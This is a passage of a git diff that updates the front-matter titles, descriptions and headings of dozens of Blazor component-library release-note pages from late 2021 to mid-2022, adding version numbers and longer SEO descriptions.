-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.3.44
 
 {% include release-info.html date="October 05, 2021"  version="v19.3.44" %} 
 
diff --git a/blazor/Release-Notes/19.3.45.md b/blazor/Release-Notes/19.3.45.md
index b45cba2877..5935b269dd 100644
--- a/blazor/Release-Notes/19.3.45.md
+++ b/blazor/Release-Notes/19.3.45.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v19.3.45
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.3.45, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.3.45
 
 {% include release-info.html date="October 12, 2021"  version="v19.3.45" %} 
 
diff --git a/blazor/Release-Notes/19.3.46.md b/blazor/Release-Notes/19.3.46.md
index b7e807c2d0..6bcf0160b3 100644
--- a/blazor/Release-Notes/19.3.46.md
+++ b/blazor/Release-Notes/19.3.46.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for  Blazor Weekly Nuget Release Notes - v19.3.46
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v19.3.46, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.3.46
 
 {% include release-info.html date="October 19, 2021"  version="v19.3.46" %} 
 
diff --git a/blazor/Release-Notes/19.3.47.md b/blazor/Release-Notes/19.3.47.md
index f3fc700cd9..769d151a6a 100644
--- a/blazor/Release-Notes/19.3.47.md
+++ b/blazor/Release-Notes/19.3.47.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v19.3.47
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.3.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.3.47
 
 {% include release-info.html date="October 26, 2021"  version="v19.3.47" %} 
 
diff --git a/blazor/Release-Notes/19.3.48.md b/blazor/Release-Notes/19.3.48.md
index 5bb09fcf0b..cd4bc2e7c4 100644
--- a/blazor/Release-Notes/19.3.48.md
+++ b/blazor/Release-Notes/19.3.48.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v19.3.48
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.3.48, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.3.48
 
 {% include release-info.html date="November 2, 2021"  version="v19.3.48" %} 
 
diff --git a/blazor/Release-Notes/19.3.53.md b/blazor/Release-Notes/19.3.53.md
index 3c222f58d0..f1a854c49e 100644
--- a/blazor/Release-Notes/19.3.53.md
+++ b/blazor/Release-Notes/19.3.53.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.3.53
 
 {% include release-info.html date="November 12, 2021"  version="v19.3.0.53" %} 
 
diff --git a/blazor/Release-Notes/19.3.54.md b/blazor/Release-Notes/19.3.54.md
index 6d43a8ed6a..17783b7228 100644
--- a/blazor/Release-Notes/19.3.54.md
+++ b/blazor/Release-Notes/19.3.54.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for  Blazor Weekly Nuget Release Release Notes - v19.3.54
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.3.54, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.3.54
 
 {% include release-info.html date="November 17, 2021"  version="v19.3.54" %} 
 
diff --git a/blazor/Release-Notes/19.3.55.md b/blazor/Release-Notes/19.3.55.md
index 47ea7bed2d..d760d6bf9e 100644
--- a/blazor/Release-Notes/19.3.55.md
+++ b/blazor/Release-Notes/19.3.55.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v19.3.55
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.3.55, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.3.55
 
 {% include release-info.html date="November 23, 2021"  version="v19.3.55" %} 
 
diff --git a/blazor/Release-Notes/19.3.56.md b/blazor/Release-Notes/19.3.56.md
index 61a4fe9135..6453ff98fd 100644
--- a/blazor/Release-Notes/19.3.56.md
+++ b/blazor/Release-Notes/19.3.56.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for  Blazor Weekly Nuget Release Notes - v19.3.56
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v19.3.56, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.3.56
 
 {% include release-info.html date="November 30, 2021"  version="v19.3.56" %} 
 
diff --git a/blazor/Release-Notes/19.3.57.md b/blazor/Release-Notes/19.3.57.md
index d13edae183..f67ef031dc 100644
--- a/blazor/Release-Notes/19.3.57.md
+++ b/blazor/Release-Notes/19.3.57.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v19.3.57
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.3.57, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.3.57
 
 {% include release-info.html date="December 07, 2021"  version="v19.3.57" %} 
 
diff --git a/blazor/Release-Notes/19.3.59.md b/blazor/Release-Notes/19.3.59.md
index 228adb03da..5b5769e2d9 100644
--- a/blazor/Release-Notes/19.3.59.md
+++ b/blazor/Release-Notes/19.3.59.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v19.3.59
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.3.59, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.3.59
 
 {% include release-info.html date="December 14, 2021"  version="v19.3.59" %} 
 
diff --git a/blazor/Release-Notes/19.4.38.md b/blazor/Release-Notes/19.4.38.md
index fa3778c65f..14e0030dfd 100644
--- a/blazor/Release-Notes/19.4.38.md
+++ b/blazor/Release-Notes/19.4.38.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.38
 
 {% include release-info.html date="December 17, 2021"  version="v19.4.0.38" %} 
 
diff --git a/blazor/Release-Notes/19.4.40.md b/blazor/Release-Notes/19.4.40.md
index 341b8b9d64..d7c65fb728 100644
--- a/blazor/Release-Notes/19.4.40.md
+++ b/blazor/Release-Notes/19.4.40.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v19.4.40
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.4.40, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.40
 
 {% include release-info.html date="December 28, 2021"  version="v19.4.40" %} 
 
diff --git a/blazor/Release-Notes/19.4.41.md b/blazor/Release-Notes/19.4.41.md
index d86bfb2473..f1c6f2b6dc 100644
--- a/blazor/Release-Notes/19.4.41.md
+++ b/blazor/Release-Notes/19.4.41.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v19.4.41
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.4.41, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.41
 
 {% include release-info.html date="January 4, 2022"  version="v19.4.41" %} 
 
diff --git a/blazor/Release-Notes/19.4.42.md b/blazor/Release-Notes/19.4.42.md
index 90d1f7c8e3..9b9f40471c 100644
--- a/blazor/Release-Notes/19.4.42.md
+++ b/blazor/Release-Notes/19.4.42.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v19.4.42
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.4.42, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.42
 
 {% include release-info.html date="January 11, 2022"  version="v19.4.42" %} 
 
diff --git a/blazor/Release-Notes/19.4.43.md b/blazor/Release-Notes/19.4.43.md
index 65b81b2f53..73a3dcfff0 100644
--- a/blazor/Release-Notes/19.4.43.md
+++ b/blazor/Release-Notes/19.4.43.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for  Blazor Weekly Nuget Release Notes - v19.4.43
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v19.4.43, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.43
 
 {% include release-info.html date="January 18, 2022"  version="v19.4.43" %} 
 
diff --git a/blazor/Release-Notes/19.4.47.md b/blazor/Release-Notes/19.4.47.md
index f6d7d46d92..cd291d92cb 100644
--- a/blazor/Release-Notes/19.4.47.md
+++ b/blazor/Release-Notes/19.4.47.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for  Blazor Weekly Nuget Release Notes - v19.4.47
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v19.4.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.47
 
 {% include release-info.html date="January 25, 2022"  version="v19.4.47" %} 
 
diff --git a/blazor/Release-Notes/19.4.48.md b/blazor/Release-Notes/19.4.48.md
index c133a732a0..58b8ece585 100644
--- a/blazor/Release-Notes/19.4.48.md
+++ b/blazor/Release-Notes/19.4.48.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for Blazor 2021 Volume 4 Service Pack Release Notes  
-description: Essential Studio for Blazor 2021 Volume 4 Service Pack Release Notes   
+title: Essential Studio for Blazor 2021 Volume 4 Service Pack Release Notes - v19.4.48
+description: Learn all about the Essential Studio for Blazor 2021 Volume 4 Service Pack Release Notes v19.4.48, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.48
 
 {% include release-info.html date="January 31, 2022"  version="v19.4.0.48" %} 
 
diff --git a/blazor/Release-Notes/19.4.50.md b/blazor/Release-Notes/19.4.50.md
index 0082367f58..f4c43fb1e7 100644
--- a/blazor/Release-Notes/19.4.50.md
+++ b/blazor/Release-Notes/19.4.50.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for  Blazor Weekly Nuget Release Notes - v19.4.50
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v19.4.50, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.50
 
 {% include release-info.html date="February 08, 2022"  version="v19.4.50" %} 
 
diff --git a/blazor/Release-Notes/19.4.52.md b/blazor/Release-Notes/19.4.52.md
index bbdd3adc8a..8fda928397 100644
--- a/blazor/Release-Notes/19.4.52.md
+++ b/blazor/Release-Notes/19.4.52.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for  Blazor Weekly Nuget Release Notes - v19.4.52
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v19.4.52, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.52
 
 {% include release-info.html date="February 15, 2022"  version="v19.4.52" %} 
 
diff --git a/blazor/Release-Notes/19.4.53.md b/blazor/Release-Notes/19.4.53.md
index 42a0c2374a..f9ba17fd35 100644
--- a/blazor/Release-Notes/19.4.53.md
+++ b/blazor/Release-Notes/19.4.53.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.4.53
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v19.4.53, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.53
 
 {% include release-info.html date="February 22, 2022"  version="v19.4.53" %} 
 
diff --git a/blazor/Release-Notes/19.4.54.md b/blazor/Release-Notes/19.4.54.md
index 7bf2e6c869..95b5f3682b 100644
--- a/blazor/Release-Notes/19.4.54.md
+++ b/blazor/Release-Notes/19.4.54.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v19.4.54
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.4.54, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.54
 
 {% include release-info.html date="March 1, 2022"  version="v19.4.54" %} 
 
diff --git a/blazor/Release-Notes/19.4.55.md b/blazor/Release-Notes/19.4.55.md
index 020c21f05c..c2de86ccca 100644
--- a/blazor/Release-Notes/19.4.55.md
+++ b/blazor/Release-Notes/19.4.55.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.4.55
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v19.4.55, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.55
 
 {% include release-info.html date="March 8, 2022"  version="v19.4.55" %} 
 
diff --git a/blazor/Release-Notes/19.4.56.md b/blazor/Release-Notes/19.4.56.md
index b0212b8876..01efa4d8d1 100644
--- a/blazor/Release-Notes/19.4.56.md
+++ b/blazor/Release-Notes/19.4.56.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for  Blazor Weekly Nuget Release Release Notes - v19.4.56
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.4.56, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.4.56
 
 {% include release-info.html date="March 15, 2022"  version="v19.4.56" %} 
 
diff --git a/blazor/Release-Notes/20.1.47.md b/blazor/Release-Notes/20.1.47.md
index 1efe9e6f9b..43140f654f 100644
--- a/blazor/Release-Notes/20.1.47.md
+++ b/blazor/Release-Notes/20.1.47.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.1.47
 
 {% include release-info.html date="April 4, 2022"  version="v20.1.47" %} 
 
diff --git a/blazor/Release-Notes/20.1.48.md b/blazor/Release-Notes/20.1.48.md
index 18ba12abaf..fb4ffb162c 100644
--- a/blazor/Release-Notes/20.1.48.md
+++ b/blazor/Release-Notes/20.1.48.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v20.1.48
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.1.48, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.1.48
 
 {% include release-info.html date="April 12, 2022"  version="v20.1.48" %} 
 
diff --git a/blazor/Release-Notes/20.1.50.md b/blazor/Release-Notes/20.1.50.md
index add8404431..5a14b5892e 100644
--- a/blazor/Release-Notes/20.1.50.md
+++ b/blazor/Release-Notes/20.1.50.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for  Blazor Weekly Nuget Release Notes - v20.1.50
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes 20.1.50, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.1.50
 
 {% include release-info.html date="April 19, 2022"  version="v20.1.50" %} 
 
diff --git a/blazor/Release-Notes/20.1.51.md b/blazor/Release-Notes/20.1.51.md
index c4aa073e20..4f7f888df2 100644
--- a/blazor/Release-Notes/20.1.51.md
+++ b/blazor/Release-Notes/20.1.51.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for  Blazor Weekly Nuget Release Release Notes - 20.1.51
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.1.51, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.1.51
 
 {% include release-info.html date="April 26, 2022"  version="v20.1.51" %} 
 
diff --git a/blazor/Release-Notes/20.1.52.md b/blazor/Release-Notes/20.1.52.md
index cf3509fce7..ca99a2010f 100644
--- a/blazor/Release-Notes/20.1.52.md
+++ b/blazor/Release-Notes/20.1.52.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for  Blazor Weekly Nuget Release Notes - 20.1.52
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v20.1.52, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.1.52
 
 {% include release-info.html date="May 3, 2022"  version="v20.1.52" %} 
 
diff --git a/blazor/Release-Notes/20.1.55.md b/blazor/Release-Notes/20.1.55.md
index 097aea762e..63cb14b730 100644
--- a/blazor/Release-Notes/20.1.55.md
+++ b/blazor/Release-Notes/20.1.55.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.1.55
 
 {% include release-info.html date="May 12, 2022"  version="v20.1.55" %} 
 
diff --git a/blazor/Release-Notes/20.1.56.md b/blazor/Release-Notes/20.1.56.md
index 28dad972d5..10cfd3e687 100644
--- a/blazor/Release-Notes/20.1.56.md
+++ b/blazor/Release-Notes/20.1.56.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v20.1.56
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.1.56, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.1.56
 
 {% include release-info.html date="May 17, 2022"  version="v20.1.56" %} 
 
diff --git a/blazor/Release-Notes/20.1.57.md b/blazor/Release-Notes/20.1.57.md
index 0b1ea1d46f..3375d3ed68 100644
--- a/blazor/Release-Notes/20.1.57.md
+++ b/blazor/Release-Notes/20.1.57.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v20.1.57
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.1.57, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.1.57
 
 {% include release-info.html date="May 24, 2022"  version="v20.1.57" %} 
 
diff --git a/blazor/Release-Notes/20.1.58.md b/blazor/Release-Notes/20.1.58.md
index 1db11e365a..5611966be5 100644
--- a/blazor/Release-Notes/20.1.58.md
+++ b/blazor/Release-Notes/20.1.58.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for  Blazor Weekly Nuget Release Release Notes - v20.1.58
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.1.58, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.1.58
 
 {% include release-info.html date="May 31, 2022"  version="v20.1.58" %} 
 
diff --git a/blazor/Release-Notes/20.1.59.md b/blazor/Release-Notes/20.1.59.md
index d60eb7f63f..8b72eb1f4e 100644
--- a/blazor/Release-Notes/20.1.59.md
+++ b/blazor/Release-Notes/20.1.59.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v20.1.59
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.1.59, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.1.59
 
 {% include release-info.html date="June 7, 2022"  version="v20.1.59" %} 
 
diff --git a/blazor/Release-Notes/20.1.60.md b/blazor/Release-Notes/20.1.60.md
index ea3d3893ab..065694b83f 100644
--- a/blazor/Release-Notes/20.1.60.md
+++ b/blazor/Release-Notes/20.1.60.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v20.1.60
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.1.60, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.1.60
 
 {% include release-info.html date="June 14, 2022"  version="v20.1.60" %} 
 
diff --git a/blazor/Release-Notes/20.1.61.md b/blazor/Release-Notes/20.1.61.md
index d1e9b1ea62..4bbb221fb0 100644
--- a/blazor/Release-Notes/20.1.61.md
+++ b/blazor/Release-Notes/20.1.61.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for  Blazor Weekly Nuget Release Notes - v20.1.61
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v20.1.61, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.1.61
 
 {% include release-info.html date="June 21, 2022"  version="v20.1.61" %} 
 
diff --git a/blazor/Release-Notes/20.2.36.md b/blazor/Release-Notes/20.2.36.md
index ae89ba9437..92e7a70a52 100644
--- a/blazor/Release-Notes/20.2.36.md
+++ b/blazor/Release-Notes/20.2.36.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor 2022 Volume 2 Main Release Release Notes  
+title: Essential Studio for  Blazor 2022 Volume 2 Main Release Release Notes - v20.2.36
 description: Learn all about the Essential Studio for  Blazor 2022 Volume 2 Main Release Release Notes v20.2.36, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
